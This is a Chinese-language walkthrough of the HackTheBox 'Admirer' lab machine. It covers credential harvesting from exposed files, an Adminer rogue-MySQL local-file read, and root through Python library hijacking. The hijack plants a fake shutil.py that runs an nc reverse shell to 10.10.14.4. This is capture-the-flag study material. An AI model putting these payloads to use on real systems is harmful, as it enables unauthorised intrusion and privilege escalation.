Admirer

nmap scan

#### ports 21端口不允许匿名登录 22端口不允许直接连接 #### dirsearch 在robots.txt中有一个额外的目录admin-dir 虽然我们没有权限访问,但是我们可以尝试扫二级目录 会扫到一个admin-dir/credentials.txt的二级目录里面有password [Internal mail account] w.cooper@admirer.htb fgJr6q#S\W:$P

[FTP account]
ftpuser
%n?4Wz}R$tTF7

[Wordpress account]
admin
w0rdpr3ss01!

目前我们只找到了一个ftp,可以尝试先从ftp下手
ftp里面有一个dump.sql和一个html的备份,下载下来看看
dump.sql看起来像是插入图片和描述的sql
在html.tar.gz里面的index.php中我们可以找到一个数据库的用户名和密码

$servername = "localhost" $username = "waldo" $password = "]F7jLHw:*G>UPrTo}~A"d6b"
在robots.txt中找到了另一个隐藏目录/w4ld0s_s3cr3t_d1r
可以尝试登录,在web上登不上去
去源码里找这个界面
有一个新的密码

[Bank Account]
waldo.11
Ezy]m27}OREc$

去访问admin_tasks.php可以看到一些功能

在db_admin.php里能找到另一套数据库密码
$servername = "localhost"; $username = "waldo"; $password = "Wh3r3_1s_w4ld0?";
再用dirsearch扫一遍目录
可以扫到adminer.php
但是所有的凭证都无法进行登录
在(Serious Vulnerability Discovered in Adminer database Administration Tool)[https://www.foregenix.com/blog/serious-vulnerability-discovered-in-adminer-tool]提到创建一个本地mysql用户可以远程连接到这个上面
首先要配置本地数据库
service mysql start
CREATE DATABASE admirer; # Create the database CREATE USER ‘adminer’@'%' IDENTIFIED BY ‘password’; # Create the user GRANT ALL PRIVILEGES ON *. *TO'adminer'@'%'; # Grants the created user full permissions FLUSH PRIVILEGES # Refreshes privileges create table test(data VARCHAR(255)); # Create a table in the database
之后修改/etc/mysql/mariadb.conf.d/50-server.cnf的bind-address为0.0.0.0
然后登录admirer
可以成功进行登录
在登录后使用下面一条语句把数据导入test表中
load data local infile'../index.php' into table test fields terminated by "/n"
在导入成功后可以找到mysql的密码

$servername = "localhost"; $username = "waldo"; $password = "&<h5b~yK3F#{PaPB&dA}{H>"; $dbname = "admirerdb";
可以成功进行登录

用新拿到的密码尝试ssh进行登录
可以登录进去

root

先sudo

这个脚本的所有者是SETENV
在备份网站的时候,该脚本调用了backup.py
说明backup.py是以root权限运行的

(python库劫持)[https://rastating.github.io/privilege-escalation-via-python-library-hijacking/]

该备份脚本用的是python3则可以键入
python3 -c "import sys; print('\n'.join(sys.path))"
结果会出现一个空行
该行会在运行时脚本所在的当前目录填进去
如果我们设置一个$PYTHONPATH
则运行上面一条命令时会把$PYTHONPATH先填进去

这说明python会先尝试寻找脚本所在目录然后是自己定义的目录然后尝试去导入shutil模块
找一个可写的目录
find / -type d -writable 2>/dev/null | grep -v -e '^/proc' -e '/run'
重写一个shutil.py
import os
def make_archive(a, b, c):
os.system(“nc 10.10.14.4 1234 -e’/bin/sh’”)

将脚本传到目标机的/var/tmp中
sudo PYTHONPATH=/var/tmp /opt/scripts/admin_tasks.sh 6得到反弹的shell